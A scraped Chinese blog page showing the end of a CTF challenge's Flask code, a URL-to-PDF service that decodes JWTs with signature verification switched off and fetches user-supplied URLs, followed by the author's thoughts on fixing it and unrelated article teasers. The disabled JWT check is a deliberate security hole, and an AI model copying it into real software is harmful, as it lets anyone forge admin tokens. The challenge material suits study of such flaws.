        return render_template('login.html'), 200



@app.route('/', methods=['GET', 'POST'])
def ohmypdf():
    access_token = request.cookies.get('access_token')
    if not access_token:
        return redirect(url_for("login"))

    try:
        decoded_token = jwt.decode(
            access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False})
        isadmin = decoded_token['isadmin']
    except:
        return render_template('login.html',message='Invalid access token')

    if not isadmin:
        return render_template('index.html',message='You do not have permission to access this resource. Where is the admin?!'), 403

    if request.method == 'POST':
        url = request.form.get('url')
        if is_valid_url(url):
            try:
                html = HTML(url=url)
                pdf = html.write_pdf()
                response = make_response(pdf)
                response.headers['Content-Type'] = 'application/pdf'
                response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'
                return response
            except Exception as e:
                return f'Error generating PDF', 500
        else:
            return f'Invalid URL!'
    else:
        return render_template("index.html"), 200


if __name__ == '__main__':
    create_database(app)
    app.run(host='0.0.0.0', port=8080)

这题暂时没打听到哪位佬修出来了。个人感觉可以从jwt检验密钥检验转PDF文件内容禁止加载html文件换一个PDF库这些方面入手。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1014260.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于SSM+Vue的汽车售票网站的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用Vue技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

D数树,牛客小白月赛78,思维

链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 来源&#xff1a;牛客网 时间限制&#xff1a;C/C 1秒&#xff0c;其他语言2秒 空间限制&#xff1a;C/C 262144K&#xff0c;其他语言524288K 64bit IO Format: %lld 题目描述 “开导&#xff01;” 众所周知&#…

《Linux从练气到飞升》No.22 Linux 基础IO

&#x1f57a;作者&#xff1a; 主页 我的专栏C语言从0到1探秘C数据结构从0到1探秘Linux菜鸟刷题集 &#x1f618;欢迎关注&#xff1a;&#x1f44d;点赞&#x1f64c;收藏✍️留言 &#x1f3c7;码字不易&#xff0c;你的&#x1f44d;点赞&#x1f64c;收藏❤️关注对我真的…

Linux运维基础知识大全

一. Linux组成 1. 内核 内核&#xff1a;系统空间的代码和数据的集合称为内核&#xff08;Kernel&#xff09;&#xff1b;kernel是操作系统内部最核心的软件&#xff0c;和硬件打交道的 1.对cpu进行管理&#xff0c;进程调度到cpu里进行管理 2.对内存进行空间的分配&#xff0…

#循循渐进学51单片机#函数进阶与按键#not.7

1、掌握单片机最小系统三要素电路设计规则。 1) 2) 3) 2、掌握函数间相互调用的方法和规则。 函数的形式参数和实际参数 实参:在调用一个有参数的函数时&#xff0c;函数名后边括号中的参数。 形参:在被调用的函数进行定义时&#xff0c;括号内的参数叫做形式参数。 1、函数定…

NB!移动端APP自动化安全分析平台

工具介绍 MobSF是一款自动化的一体化移动应用程序 (Android/iOS/Windows) 渗透测试、恶意软件分析和安全评估框架&#xff0c;能够执行静态和动态分析。 MobSF 支持移动应用程序二进制文件&#xff08;APK、XAPK、IPA 和 APPX&#xff09;以及压缩源代码&#xff0c;并提供 R…

9.15 QT作业

头文件 #ifndef MYCK_H #define MYCK_H#include <QWidget>QT_BEGIN_NAMESPACE namespace Ui { class myck; } QT_END_NAMESPACEclass myck : public QWidget {Q_OBJECTpublic:myck(QWidget *parent nullptr);~myck();private:Ui::myck *ui; }; #endif // MYCK_H 源文件…

Linux服务器部署常用命令记录【持续更新】

介绍&#xff1a;最近服务器被人频繁攻击&#xff0c;留下一堆垃圾文件。重装后需要重新部署&#xff0c;才发现Linux的命令怎么这么碎。于是乎就产生了写这篇文章的想法。本文旨在记录常用的Linux部署需要使用的命令&#xff0c;另一篇关于Linux docker安装常用软件的文章&…

OpenCV(四十六):特征点匹配

1.特征点匹配的定义 特征点匹配是一种在两幅图像中寻找相互对应的特征点&#xff0c;并建立它们之间的对应关系的过程。具体而言&#xff0c;首先通过特征检测算法在两幅图像中寻找相互对应的特征点&#xff0c;然后&#xff0c;对于每个特征点&#xff0c;通过描述子提取算法计…

ipad手写笔有必要买吗?好用的平板触控笔

众所周知&#xff0c;随着Apple pencil的出现&#xff0c;市面上出现越来越多平替电容笔的出现&#xff0c;无论是价格和功能&#xff0c;几乎都很接近。很多小伙伴不知如何下手&#xff0c;不知道如何从众多品牌中挑选出适合自己的电容笔&#xff0c;今天我为大家总结一下网上…

网络安全含金量有多高?网络安全工程师技术好学吗?网络安全怎么入门?

随着科学技术的发展&#xff0c;互联网等行业急需网络安全人才。各大企业和个人越来越重视网络安全技术。行业市场也催生出很多网络安全需求方向&#xff0c;为网络安全从业者提供了更多就业方向及机会。那么网络安全含金量有多高&#xff1f; 网络安全含金量有多高&#xff1…

MySQL数据库之表的约束

目录 前言 一、空属性 二、默认值 三、列描述 四、zerofill 五、主键 六、自增长 七、唯一键 八、外键 前言 数据库表的约束是用来规定表中的数据规则的。如果存在违反约束的数据行为&#xff0c;行为会被约束终止。约束可以保证数据库中数据的准确性和可靠性。 一、空属性 两…

【Proteus仿真】【STM32单片机】基于stm32的智能书桌设计

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 系统运行后&#xff0c;默认为手动模式&#xff0c;当检测有人&#xff0c;可通过K2键开关灯&#xff0c;如果姿势不对&#xff0c; 警示灯亮&#xff0c;否则灭&#xff1b;可通过K3和K4键调节桌子高度&…

模板初阶(函数模板和类模板)

文章目录 1.函数模板1.1函数模板定义格式1.2关于模板实例化的一些小问题 2.类模板2.1 类模板的定义格式 1.函数模板 1.1函数模板定义格式 模板源于C语言一些短板没有解决 #include <stdio.h> #include<iostream> using namespace std; void Swap(int& left,…

Matlab图像处理-HSV

HSV HSV(色调、饱和度、数值)是人们从颜色轮或调色板中挑选颜色(即颜料或油墨)时所用的几种彩色系统之一。这种彩色系统与RGB系统相比&#xff0c;更加接近于人们的经验和描述彩色感觉时所用的方式。在艺术领域&#xff0c;色调、饱和度和数值分别称为色泽、明暗和调色。 HSV…

硬件预取之空间预取

《data prefetching techniques in computer system》翻译之空间预取器 2 Spatial prefetching 数据预取器需要在应用程序运行时预测处理器未来的内存访问。为此&#xff0c;它们通常依赖于数据访问之间的循环模式或相关性。在处理器上运行时&#xff0c;应用程序的数据访问中…

Vulnhub系列靶机-THM-ContainMe-v4

文章目录 Vulnhub系列靶机-THM-ContainMe-v41. 信息收集1.1 主机扫描1.2 端口扫描1.3 目录爆破 2. 漏洞探测3. 漏洞利用4. 权限提升 Vulnhub系列靶机-THM-ContainMe-v4 1. 信息收集 1.1 主机扫描 arp-scan -l1.2 端口扫描 nmap -A -p- 192.168.188.188端口扫描出来了&#…

Python 扩展后的赋值运算符

视频版教程 Python3零基础7天入门实战视频教程 以下&#xff0c;假设变量a为10&#xff0c;变量c为21&#xff1a; 实例代码&#xff1a; c a print("ca c", c)c - a print("c-a c", c)c * a print("c*a c", c)c / a print("c/a c"…

【Java基础夯实】枚举类回炉重造

&#x1f9d1;‍&#x1f4bb;作者名称&#xff1a;DaenCode &#x1f3a4;作者简介&#xff1a;啥技术都喜欢捣鼓捣鼓&#xff0c;喜欢分享技术、经验、生活。 &#x1f60e;人生感悟&#xff1a;尝尽人生百味&#xff0c;方知世间冷暖。 &#x1f4d6;所属专栏&#xff1a;Ja…

如何开发你的第一个Vue.js插件:完整指南

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…